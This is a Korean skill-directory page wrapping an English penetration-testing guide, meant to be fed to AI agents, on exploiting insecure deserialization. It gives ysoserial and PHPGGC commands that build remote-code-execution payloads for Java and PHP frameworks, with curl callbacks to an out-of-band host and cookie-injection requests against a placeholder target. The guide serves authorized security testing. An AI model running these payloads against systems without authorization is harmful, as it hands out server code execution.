본문으로 건너뛰기
Skillpedia
보안35k · #7910

exploiting-insecure-deserialization

하는 일

이 도구는 컴퓨터 프로그램이 ‘직렬화된’ 데이터(저장이나 전송을 위해 형식을 바꾼 데이터)를 처리하는 방식의 보안 결함을 찾고 악용하는 데 도움을 줍니다. 결함이 발견되면 서버에서 명령을 실행할 수 있습니다.

사용하는 경우

  • ✓웹 애플리케이션의 허가된 보안 테스트 중.
  • ✓애플리케이션이 쿠키, 매개변수, 메시지 큐에서 직렬화된 데이터를 사용할 때.
  • ✓사용자가 제공한 데이터를 조작해 코드를 실행할 수 있는지 확인하는 경우.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-insecure-deserialization/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-insecure-deserialization/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“Java, PHP, Python, .NET 애플리케이션에서 안전하지 않은 역직렬화 취약점을 찾아 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 도구는 애플리케이션이 신뢰할 수 없는 출처에서 직렬화된 데이터를 받는지 확인합니다. 받는다면 악성 데이터를 보내, 역직렬화(재구성)될 때 서버에서 명령이 실행되도록 시도합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Exploiting Insecure Deserialization

When to Use

  • During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)
  • When identifying Java serialization markers (ac ed 00 05 / rO0AB) in HTTP traffic
  • For testing PHP applications that use unserialize() on user-controlled input
  • When evaluating .NET applications using BinaryFormatter, ObjectStateFormatter, or ViewState
  • During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization

Prerequisites

  • Authorization: Written penetration testing agreement with RCE testing scope
  • ysoserial: Java deserialization exploit tool (git clone https://github.com/frohoff/ysoserial.git)
  • ysoserial.net: .NET deserialization exploit tool (git clone https://github.com/pwntester/ysoserial.net.git)
  • PHPGGC: PHP deserialization gadget chain generator (git clone https://github.com/ambionics/phpggc.git)
  • Burp Suite Professional: With Java Deserialization Scanner extension
  • Java Runtime: For running ysoserial
  • Collaborator/interactsh: For out-of-band confirmation of code execution

Workflow

Step 1: Identify Serialized Data in Application Traffic

Detect serialized objects in HTTP parameters, cookies, and headers.

# Java serialization markers
# Binary: starts with 0xACED0005
# Base64: starts with rO0AB
# Gzip+Base64: starts with H4sIAAAAAAAA

# Search Burp proxy history for serialization signatures
# In Burp: Proxy > HTTP History > Search > "rO0AB"

# Check cookies and parameters for Base64-encoded serialized data
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head

# PHP serialization format
# Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

# .NET ViewState
# __VIEWSTATE parameter in ASP.NET forms
# Starts with /wEP... (base64)

# Python pickle
# Base64 encoded pickle objects in cookies or API parameters
# Binary starts with 0x80 (protocol version)

# Common locations to check:
# - Session cookies
# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)
# - API request/response bodies
# - WebSocket messages
# - Message queue payloads (JMS, RabbitMQ, Redis)
# - Cache entries (Memcached, Redis)

Step 2: Test Java Deserialization with ysoserial

Generate deserialization payloads for Java applications.

# List available gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"

# Generate DNS callback payload for detection (safest test)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0

# Test with Burp Collaborator
# Replace serialized cookie/parameter with generated payload
# Check Collaborator for DNS/HTTP callbacks

# Generate RCE payloads with common gadget chains
# CommonsCollections (very common in Java apps)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0

# Spring Framework gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0

# Hibernate gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0

# Send payload via curl
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
  -b "session=$PAYLOAD" \
  "https://target.example.com/dashboard"

Step 3: Test PHP Deserialization with PHPGGC

Generate PHP gadget chains for common frameworks.

# List available PHP gadget chains
./phpggc -l

# Generate payloads for common PHP frameworks
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b

# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b

# WordPress (via Guzzle)
./phpggc Guzzle/RCE1 system "id" -b

# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b

# Test by injecting into cookie or parameter
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
  "https://target.example.com/dashboard"

# PHP object injection via manipulated serialized string
# Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}


…
자주 묻는 질문

‘직렬화된’ 데이터란 무엇인가요?

프로그램 객체를 저장하거나 전송할 수 있도록 일련의 바이트로 바꾸고, 나중에 원래 형식으로 되돌릴 수 있는 형식입니다.

‘안전하지 않은 역직렬화’란 무엇인가요?

프로그램이 받은 직렬화 데이터를 제대로 검증하지 않아, 공격자가 악성 코드를 실행할 수 있도록 특수하게 만든 데이터를 보낼 수 있는 경우입니다.

이 도구를 사용하려면 허가가 필요한가요?

네, 법적 문제를 피하기 위해 어떤 보안 테스트든 하기 전에 명시적인 허가를 받는 것이 필수입니다.

상세 정보

작성자의 원본 설명

Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#7910
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬